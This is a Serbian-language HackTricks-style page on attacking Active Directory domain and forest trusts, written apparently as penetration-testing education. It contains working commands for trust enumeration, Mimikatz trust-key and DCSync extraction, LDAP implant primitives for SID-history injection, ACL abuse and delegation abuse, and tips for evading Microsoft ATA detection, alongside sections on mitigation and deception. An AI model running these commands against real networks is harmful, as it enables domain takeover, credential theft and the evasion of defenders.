Ako Domain A trustuje Domain B, A je trusting domain, a B je trusted domain. Nadalje, u Domain A to bi bio Outbound trust; a u Domain B to bi bio Inbound trust.
Različiti odnosi poverenja
- Parent-Child Trusts: Uobičajena konfiguracija unutar istog foresta, gde child domen automatski ima dvosmeran transitive trust sa parent domenom. To znači da autentikacioni zahtevi mogu neometano da teku između parent i child domena.
- Cross-link Trusts: Nazvani i “shortcut trusts”, uspostavljaju se između child domena radi ubrzanja referal procesa. U kompleksnim forest-ovima, autentikacioni referali obično moraju da idu do root-a foresta pa zatim dole do ciljnog domena. Cross-link trusts skraćuju taj put, što je naročito korisno u geografski disperzovanim okruženjima.
- External Trusts: Postavljaju se između različitih, nepovezanih domena i po prirodi su non-transitive. Prema Microsoft dokumentaciji, external trusts su korisni za pristup resursima u domenu van trenutnog foresta koji nije povezan forest trust-om. Sigurnost se pojačava kroz SID filtering sa external trusts.
- Tree-root Trusts: Ovi trust-ovi se automatski uspostavljaju između forest root domena i novododatog tree root-a. Iako nisu često nađeni, tree-root trusts su važni za dodavanje novih domain tree-ova u forest, omogućavajući im da zadrže jedinstveno ime domena i osiguravaju dvosmernu transitive prirodu. Više informacija je u Microsoft vodiču.
- Forest Trusts: Ova vrsta trust-a je dvosmeran transitive trust između dva forest root domena, takođe primenjujući SID filtering da pojača bezbednosne mere.
- MIT Trusts: Ovi trust-ovi se uspostavljaju sa non-Windows, RFC4120-compliant Kerberos domenima. MIT trusts su specijalizovaniji i namenjeni okruženjima koja zahtevaju integraciju sa Kerberos sistemima van Windows ekosistema.
Druge razlike u odnosima poverenja
- Odnos poverenja može biti i transitive (A trustuje B, B trustuje C, onda A trustuje C) ili non-transitive.
- Odnos poverenja može biti postavljen kao bidirectional trust (oba se međusobno veruju) ili kao one-way trust (samo jedan od njih veruje drugom).
Putanja napada
- Enumerišite odnose poverenja
- Proverite da li neki security principal (user/group/computer) ima access na resurse drugog domena — možda kroz ACE unose ili članstvo u grupama drugog domena. Tražite relationships across domains (trust je verovatno kreiran za ovo).
- Kerberoast u ovom slučaju može biti još jedna opcija.
- Kompromitujte naloge koji mogu pivot-ovati kroz domene.
Napadači mogu dobiti pristup resursima u drugom domenu kroz tri glavna mehanizma:
- Local Group Membership: Principali mogu biti dodati u lokalne grupe na mašinama, kao što je “Administrators” grupa na serveru, što im daje znatnu kontrolu nad tom mašinom.
- Foreign Domain Group Membership: Principali takođe mogu biti članovi grupa unutar stranog domena. Međutim, efikasnost ove metode zavisi od prirode trust-a i opsega grupe.
- Access Control Lists (ACLs): Principali mogu biti navedeni u ACL-u, posebno kao entiteti u ACEs unutar DACL-a, dajući im pristup specifičnim resursima. Za one koji žele dublje da prouče mehaniku ACL-ova, DACL-ova i ACE-ova, whitepaper “An ACE Up The Sleeve” je neprocenjiv resurs.
Pronađite eksternе korisnike/grupe sa permisijama
Možete proveriti CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com da pronađete foreign security principals u domenu. Ovo će biti korisnici/grupe iz eksternog domena/foresta.
Možete proveriti ovo u Bloodhound ili koristeći powerview:
# Get users that are i groups outside of the current domain
Get-DomainForeignUser
# Get groups inside a domain with users our
Get-DomainForeignGroupMember
Child-to-Parent forest privilege escalation
# Fro powerview
Get-DomainTrust
SourceName : sub.domain.local --> current domain
TargetName : domain.local --> foreign domain
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST --> WITHIN_FOREST: Both in the same forest
TrustDirection : Bidirectional --> Trust direction (2ways in this case)
WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
Drugi načini za enumerate domain trusts:
# Get DCs
nltest /dsgetdc:<DOMAIN>
# Get all domain trusts
nltest /domain_trusts /all_trusts /v
# Get all trust of a domain
nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
Warning
Postoje 2 trusted keys, jedan za Child –> Parent i drugi za Parent –> Child.
Možete videti koji se koristi u trenutnom domenu pomoću:Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
SID-History Injection
Povišavanje do Enterprise admin-a u child/parent domenu zloupotrebom trust-a putem SID-History injection:
Exploit writeable Configuration NC
Razumevanje kako se Configuration Naming Context (NC) može iskoristiti je ključno. Configuration NC služi kao centralni repozitorijum za konfiguracione podatke kroz forest u Active Directory (AD) okruženjima. Ti podaci se repliciraju na svaki Domain Controller (DC) u forestu, pri čemu writable DCs održavaju zapisivu kopiju Configuration NC. Da biste ovo iskoristili, potrebno je imati SYSTEM privileges on a DC, po mogućstvu child DC.
Link GPO to root DC site
Configuration NC-ov Sites container sadrži informacije o site-ovima svih računa pridruženih domenu unutar AD foresta. Radeći sa SYSTEM privilegijama na bilo kojem DC-u, napadači mogu linkovati GPOs na root DC sites. Ova akcija potencijalno kompromituje root domain manipulacijom policy-ja koji se primenjuju na te site-ove.
For detaljnije informacije, možete istražiti istraživanje o Bypassing SID Filtering.
Compromise any gMSA in the forest
Vektor napada uključuje ciljanja privilegovanih gMSA unutar domena. KDS Root key, neophodan za računanje lozinki za gMSAs, je uskladišten unutar Configuration NC. Sa SYSTEM privilegijama na bilo kojem DC-u, moguće je pristupiti KDS Root key i izračunati lozinke za bilo koji gMSA kroz forest.
Detaljna analiza i korak-po-korak vodič mogu se naći u:
Komplementarni delegated MSA napad (BadSuccessor – abusing migration attributes):
Badsuccessor Dmsa Migration Abuse
Dodatno eksterno istraživanje: Golden gMSA Trust Attacks.
Schema change attack
Ova metoda zahteva strpljenje, čekanje na kreiranje novih privilegovanih AD objekata. Sa SYSTEM privilegijama, napadač može izmeniti AD Schema kako bi dao bilo kojem korisniku kompletna prava nad svim klasama. To može dovesti do neautorizovanog pristupa i kontrole nad novokreiranim AD objektima.
Dalje čitanje dostupno je na Schema Change Trust Attacks.
From DA to EA with ADCS ESC5
ADCS ESC5 ranjivost cilja kontrolu nad Public Key Infrastructure (PKI) objektima kako bi kreirala certificate template koji omogućava autentifikaciju kao bilo koji korisnik unutar foresta. Pošto PKI objekti žive u Configuration NC, kompromitovanje writable child DC omogućava izvođenje ESC5 napada.
Više detalja o ovome može se pročitati u From DA to EA with ESC5. U scenarijima bez ADCS, napadač ima mogućnost da postavi potrebne komponente, kao što je diskutovano u Escalating from Child Domain Admins to Enterprise Admins.
External Forest Domain - One-Way (Inbound) or bidirectional
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
TrustType : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
U ovom scenariju vaš domen je trusted od strane eksternog, dajući vam neodređena ovlašćenja nad njim. Treba da otkrijete koji principals vašeg domena imaju koji pristup eksternom domenu i potom pokušate da to iskoristite:
External Forest Domain - OneWay (Inbound) or bidirectional
Eksterni forest domen - Jednosmerno (Outbound)
Get-DomainTrust -Domain current.local
SourceName : current.local --> Current domain
TargetName : external.local --> Destination domain
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
U ovom scenariju vaš domen dodeljuje neke privilegije bezbednosnom subjektu iz drugog domena.
Međutim, kada je domain is trusted od strane trustujućeg domena, povereni domen kreira korisnika sa predvidljivim imenom koji kao lozinku koristi lozinku poverenja. To znači da je moguće iskoristiti korisnika iz trustujućeg domena da se uđe u povereni domen radi enumeracije i pokušaja eskalacije privilegija:
External Forest Domain - One-Way (Outbound)
Drugi način kompromitovanja poverenog domena je pronalaženje SQL trusted link kreiranog u suprotnom smeru domain trusta (što nije često).
Još jedan način kompromitovanja poverenog domena je čekanje na mašini gde se korisnik iz poverenog domena može prijaviti putem RDP. Tada napadač može ubaciti kod u proces RDP sesije i pristupiti izvornom domenu žrtve odatle.
Štaviše, ako je žrtva montirala svoj hard disk, iz procesa RDP sesije napadač može smestiti backdoors u startup folder of the hard drive. Ova tehnika se zove RDPInception.
Ublažavanje zloupotrebe trusta domena
SID Filtering:
- Rizik od napada koji koriste SID history atribut preko trustova između šuma ublažava SID Filtering, koji je podrazumevano aktiviran na svim inter-forest trusts. Ovo se zasniva na pretpostavci da su intra-forest trusts bezbedni, smatrajući šumu, a ne domen, bezbednosnom granicom u skladu sa Microsoft-ovim stanovištem.
- Međutim, postoji problem: SID filtering može ometati aplikacije i pristup korisnika, što dovodi do povremenog isključivanja.
Selective Authentication:
- Za trustove između šuma, primena Selective Authentication osigurava da korisnici iz ta dva šuma nisu automatski autentifikovani. Umesto toga, potrebne su eksplicitne dozvole da bi korisnici pristupili domenima i serverima unutar trustujućeg domena ili šume.
- Važno je napomenuti da ove mere ne štite od zloupotrebe writable Configuration Naming Context (NC) ili napada na trust account.
More information about domain trusts in ired.team.
Zloupotreba AD-a zasnovana na LDAP iz implantata na hostu
The LDAP BOF Collection re-implementira bloodyAD-style LDAP primitives kao x64 Beacon Object Files koje se izvršavaju u potpunosti unutar on-host implantata (npr. Adaptix C2). Operateri kompajliraju paket sa git clone https://github.com/P0142/ldap-bof-collection.git && cd ldap-bof-collection && make, učitaju ldap.axs, i potom pozovu ldap <subcommand> iz beacona. Sav saobraćaj koristi trenutni kontekst bezbednosti prijave preko LDAP (389) sa signing/sealing ili LDAPS (636) sa auto certificate trust, tako da nisu potrebni socks proxyji niti disk artefakti.
Implant-side LDAP enumeration
get-users,get-computers,get-groups,get-usergroups, andget-groupmembersprevode kratka imena/OU putanje u pune DNs i ispisuju odgovarajuće objekte.get-object,get-attribute, andget-domaininfovlače proizvoljne atribute (uključujući security descriptors) plus metapodatke šume/domena izrootDSE.get-uac,get-spn,get-delegation, andget-rbcdotkrivaju roasting candidates, delegation settings, i postojeće Resource-based Constrained Delegation deskriptore direktno iz LDAP-a.get-aclandget-writable --detailedparsiraju DACL da navedu trustees, rights (GenericAll/WriteDACL/WriteOwner/attribute writes), i naslednost, dajući trenutne ciljeve za ACL privilege escalation.
ldap get-users --ldaps
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"
ldap get-writable --detailed
ldap get-acl "CN=Tier0,OU=Admins,DC=corp,DC=local"
LDAP write primitives for escalation & persistence
- Object creation BOFs (
add-user,add-computer,add-group,add-ou) omogućavaju operatoru da postavi nove principe ili mašinske naloge gde god postoje prava nad OU.add-groupmember,set-password,add-attribute, andset-attributedirektno preuzimaju ciljeve kada su pronađena write-property prava. - Komande fokusirane na ACL kao što su
add-ace,set-owner,add-genericall,add-genericwrite, iadd-dcsyncprevode WriteDACL/WriteOwner na bilo kom AD objektu u reset lozinki, kontrolu članstva u grupama ili DCSync privilegije replikacije bez ostavljanja PowerShell/ADSI artefakata.remove-*kontra-komande uklanjaju ubrizgane ACEs.
Delegation, roasting, and Kerberos abuse
add-spn/set-spnodmah čine kompromitovanog korisnika Kerberoastable;add-asreproastable(UAC toggle) označava korisnika za AS-REP roasting bez diranja lozinke.- Delegation macros (
add-delegation,set-delegation,add-constrained,add-unconstrained,add-rbcd) prepisujumsDS-AllowedToDelegateTo, UAC flags, ilimsDS-AllowedToActOnBehalfOfOtherIdentityiz beacon-a, omogućavajući constrained/unconstrained/RBCD puteve napada i eliminišući potrebu za udaljenim PowerShell ili RSAT.
sidHistory injection, OU relocation, and attack surface shaping
add-sidhistoryubrizgava privilegovane SID-ove u SID history kontrolisanog principala (see SID-History Injection), pružajući prikriveno nasledjivanje pristupa potpuno preko LDAP/LDAPS.move-objectmenja DN/OU računara ili korisnika, dopuštajući napadaču da premesti resurse u OU-e gde već postoje delegirana prava pre zloupotrebeset-password,add-groupmember, iliadd-spn.- Naredbe za uklanjanje sa uskim opsegom (
remove-attribute,remove-delegation,remove-rbcd,remove-uac,remove-groupmember, itd.) omogućavaju brz rollback nakon što operator sakuplja kredencijale ili perzistenciju, minimizirajući telemetry.
AD -> Azure & Azure -> AD
Page not found - HackTricks Cloud
Some General Defenses
Learn more about how to protect credentials here.
Defensive Measures for Credential Protection
- Domain Admins Restrictions: Preporučuje se da Domain Admins budu dozvoljeni za prijavu samo na Domain Controllers, izbegavajući njihovu upotrebu na drugim hostovima.
- Service Account Privileges: Servisi ne bi trebalo da se pokreću sa Domain Admin (DA) privilegijama radi očuvanja bezbednosti.
- Temporal Privilege Limitation: Za zadatke koji zahtevaju DA privilegije, trajanje tih privilegija treba ograničiti. Ovo se može postići komandom:
Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20) - LDAP relay mitigation: Auditujte Event ID-ove 2889/3074/3075 i potom forsirajte LDAP signing plus LDAPS channel binding na DC-jevima/klijentima da biste blokirali LDAP MITM/relay pokušaje.
Ldap Signing And Channel Binding
Implementing Deception Techniques
- Implementacija decepcije uključuje postavljanje zamki, kao što su decoy korisnici ili računari, sa karakteristikama poput lozinki koje ne ističu ili su označeni kao Trusted for Delegation. Detaljan pristup uključuje kreiranje korisnika sa specifičnim pravima ili dodavanje u grupe visokih privilegija.
- Praktičan primer uključuje korišćenje alata kao što su:
Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose - Više o deploy-deception tehnikama možete pronaći na Deploy-Deception on GitHub.
Identifying Deception
- For User Objects: Sumnjivi indikatori uključuju netipičan ObjectSID, retke logone, datume kreiranja i nizak broj neuspelih pokušaja lozinke.
- General Indicators: Poređenje atributa potencijalnih decoy objekata sa onima kod legitimnih objekata može otkriti nedoslednosti. Alati kao što je HoneypotBuster mogu pomoći u identifikaciji takvih decepija.
Bypassing Detection Systems
- Microsoft ATA Detection Bypass:
- User Enumeration: Izbegavanje enumeracije sesija na Domain Controller-ima kako bi se sprečilo ATA detektovanje.
- Ticket Impersonation: Korišćenje aes ključeva za kreiranje tiketa pomaže u izbegavanju detekcije jer ne dolazi do degradacije na NTLM.
- DCSync Attacks: Preporučuje se izvršavanje sa ne-Domain Controller-a da bi se izbegla ATA detekcija, jer direktno izvršenje sa Domain Controller-a izaziva alarme.
References
- http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
- https://www.labofapenetrationtester.com/2018/10/deploy-deception.html
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain
- LDAP BOF Collection – In-Memory LDAP Toolkit for Active Directory Exploitation
- TrustedSec – Holy Shuck! Weaponizing NTLM Hashes as a Wordlist
- Barbhack 2025 CTF (NetExec AD Lab) – Pirates
- Hashcat
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


